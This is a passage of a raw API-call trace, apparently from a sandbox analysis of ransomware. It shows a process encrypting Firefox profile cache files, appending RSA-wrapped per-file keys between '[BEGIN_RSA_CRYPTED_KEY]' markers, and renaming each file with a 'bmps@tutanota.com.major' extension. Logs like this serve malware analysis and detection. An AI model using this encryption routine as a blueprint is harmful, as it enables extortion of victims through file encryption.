hFile=0x1a4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1513) returned 1 [0239.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e9) returned 0x66e548 [0239.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e9) returned 0x313e008 [0239.575] ReadFile (in: hFile=0x1a4c, lpBuffer=0x66e548, nNumberOfBytesToRead=0x5e9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x5e9, lpOverlapped=0x0) returned 1 [0239.576] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-1513, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.576] WriteFile (in: hFile=0x1a4c, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5e9, lpOverlapped=0x0) returned 1 [0239.576] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0239.576] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0239.576] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5e9 [0239.576] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.576] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.576] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0239.576] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0239.576] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0239.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0239.576] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zRpizq10PQN2BtFt1qZJt+HsLo2Si7kcvljtzLb3JMOl8Xea6jLql4Q4r6T+ZzIZ\ngUkDEpCrm3m7et6/bG6h+TKUROCwARWWoQUjgVe7ZGmmObjO54sYLdldz6tEBc/F\nVLQnffuiwS/9WFGA2N0ebHi2DZ2XlHqglApttIp84dqLEv2OKN589hceirHleLpT\n/TBJs2VYE17iTl53yOrG33bfE7Qc6xQOVww6sbxjw4SF6KN/dPHmaQ2TDWIj4LIs\nh8APRpQmgSZlZzHfd3KfDZrFZX+LxUmOXXGLnSjUbRlEgxPNavb5UU8sK0K1BqIR\nexamr/uVPtZpc3sXzOkdUA==\n", pcchString=0x2e3f9a8) returned 1 [0239.577] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0239.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.577] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.577] CloseHandle (hObject=0x1a4c) returned 1 [0239.577] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0239.577] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0240.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc70 | out: hHeap=0x570000) returned 1 [0240.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65c8 | out: hHeap=0x570000) returned 1 [0240.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0240.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6599b8 | out: hHeap=0x570000) returned 1 [0240.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6596d0 [0240.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0240.928] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0240.928] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", dwFileAttributes=0x80) returned 1 [0240.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0240.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cd980 [0240.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ba8 | out: hHeap=0x570000) returned 1 [0240.933] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a4c [0240.934] GetFileSizeEx (in: hFile=0x1a4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5511) returned 1 [0240.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1587) returned 0x6548b8 [0240.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1587) returned 0x2f81868 [0240.934] ReadFile (in: hFile=0x1a4c, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1587, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1587, lpOverlapped=0x0) returned 1 [0240.986] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-5511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.986] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0x1587, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1587, lpOverlapped=0x0) returned 1 [0240.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0240.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0240.986] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1587 [0240.986] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0240.986] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0240.987] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0240.987] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0240.987] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0240.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0240.987] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/d9K4/kfqgpLNgrU/h6i9Z4f0uvC+By/ULen+Y4tXuVfVfD34v/BcuecKZDHC/KB\nawdjpsdfudFoyVdvjROzhpYXvl5el6I4qUA4HD6cJBbVSdIcWZ9LdO1+k7OJF2Vq\nGuxIUuFYrqeUjO3Jri8SaxtIm79tQtZ3QzaA5vXE3nhVw20r5gr7rAfUn4WjAo0V\n82ZfbDpUZbL1APk+KP0m8L0eBQL2Dfy9E6L5WmWgXTxFBoHx+BdOJMEBe+ZHIrnj\nlWJHcR/uhQ9GTHuQsSkswQh8a8HbJs/5q5GfCn0AzMfwk3hQXfbWS+rktItWH6g2\n3uUBhhUGfRs1ynuWHWJhmQ==\n", pcchString=0x2e3f9a8) returned 1 [0240.987] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0240.987] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0240.987] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0240.987] CloseHandle (hObject=0x1a4c) returned 1 [0240.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0240.987] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0240.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd980 | out: hHeap=0x570000) returned 1 [0240.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0240.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6596d0 | out: hHeap=0x570000) returned 1 [0240.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6598c0 | out: hHeap=0x570000) returned 1 [0240.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0240.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65c8 [0240.989] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0240.989] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", dwFileAttributes=0x80) returned 1 [0240.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ab0 [0240.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cd980 [0240.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ab0 | out: hHeap=0x570000) returned 1 [0240.990] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a4c [0240.990] GetFileSizeEx (in: hFile=0x1a4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1156) returned 1 [0240.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x484) returned 0x66e548 [0240.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x484) returned 0x66e9d8 [0240.991] ReadFile (in: hFile=0x1a4c, lpBuffer=0x66e548, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x484, lpOverlapped=0x0) returned 1 [0240.993] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-1156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.993] WriteFile (in: hFile=0x1a4c, lpBuffer=0x66e9d8*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e9d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x484, lpOverlapped=0x0) returned 1 [0240.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0240.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e9d8 | out: hHeap=0x570000) returned 1 [0240.994] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x484 [0240.994] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0240.994] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0240.994] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0240.994] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0240.994] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0240.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0240.994] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+teFJFBhW3VSTOE41ku74OGjXE0H5/f6QbS5C7zI92lHSCfFIWCrzyxnl4A9SB3r\n6xvvDGsrHxkuIdFq6pEsC/stDfc2Y+MpjligdgKzOLZb978HLpPdK8+oEk/I8VDd\n0PHY1pzgSsSnLzpYjdVmPPyZ9ZQOMnzMYoCF7rYZqrGMBgswS3bnKmsQ99/TCPfx\n0v8EEEjYvc50b8PruItOtk+BegUfCBB9npwBLRYpag+NjkbzH+/Ux4zTPgVsH6nh\nKdrpOYI9vgrM/UDqCl4PwKGvY7lcTYqIazHVfUFhx6GUqu0sER4O6LInPkszAGyo\ncFL8sSK/U4xMqkPbtrjkHg==\n", pcchString=0x2e3f9a8) returned 1 [0240.994] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0240.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0240.995] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0240.995] CloseHandle (hObject=0x1a4c) returned 1 [0240.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0240.995] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0240.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd980 | out: hHeap=0x570000) returned 1 [0240.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65c8 | out: hHeap=0x570000) returned 1 [0240.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0240.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6595d8 | out: hHeap=0x570000) returned 1 [0240.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0240.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0240.997] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0240.997] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", dwFileAttributes=0x80) returned 1 [0240.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6595d8 [0240.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cdc70 [0240.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6595d8 | out: hHeap=0x570000) returned 1 [0240.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a4c [0240.999] GetFileSizeEx (in: hFile=0x1a4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=396) returned 1 [0240.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18c) returned 0x5c1e10 [0240.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18c) returned 0x581478 [0240.999] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5c1e10, nNumberOfBytesToRead=0x18c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1e10*, lpNumberOfBytesRead=0x2e3f9b4*=0x18c, lpOverlapped=0x0) returned 1 [0240.999] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-396, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.999] WriteFile (in: hFile=0x1a4c, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x18c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18c, lpOverlapped=0x0) returned 1 [0241.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0241.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0241.000] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18c [0241.000] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.000] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.000] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.000] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.000] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0241.000] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Kt1BcMcmiHCjJVHwMGHyPmRyYfpyxrnmO3jSo2u5xjiYbOi/LPPeCIM5nm4MD/mP\n882RjuDyqSYbcFrN79XIAdDKVrw6MyLgX9KA7Ybb6gNuavsV1DckVoR/IOulTLw4\nHKByRSHvLYFVOIT+em7uGg4x0UWnV3iHRxkegVVHEM+1gvDJ/yA6SK/bjp2zGO/b\nb8NyTIPH9Z7KHptR/KrrIThXTNCluU205+nYNZC5KkbFN4FDGwIThmLrLQ+msFYD\n6aXnd9ww+dCYilbyjcaeInt2VDEcGFEhYdrxrEnWk2k58glUdYOZhupQL0P6jmrr\nG0UaGkMZm7QiJl4maasOHg==\n", pcchString=0x2e3f9a8) returned 1 [0241.000] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.001] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.001] CloseHandle (hObject=0x1a4c) returned 1 [0241.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0241.001] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc70 | out: hHeap=0x570000) returned 1 [0241.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ba8 | out: hHeap=0x570000) returned 1 [0241.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ca0 | out: hHeap=0x570000) returned 1 [0241.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ab0 [0241.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6870 [0241.003] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.003] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", dwFileAttributes=0x80) returned 1 [0241.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0241.003] RtlAllocateHeap (HeapHandle=0x570000, 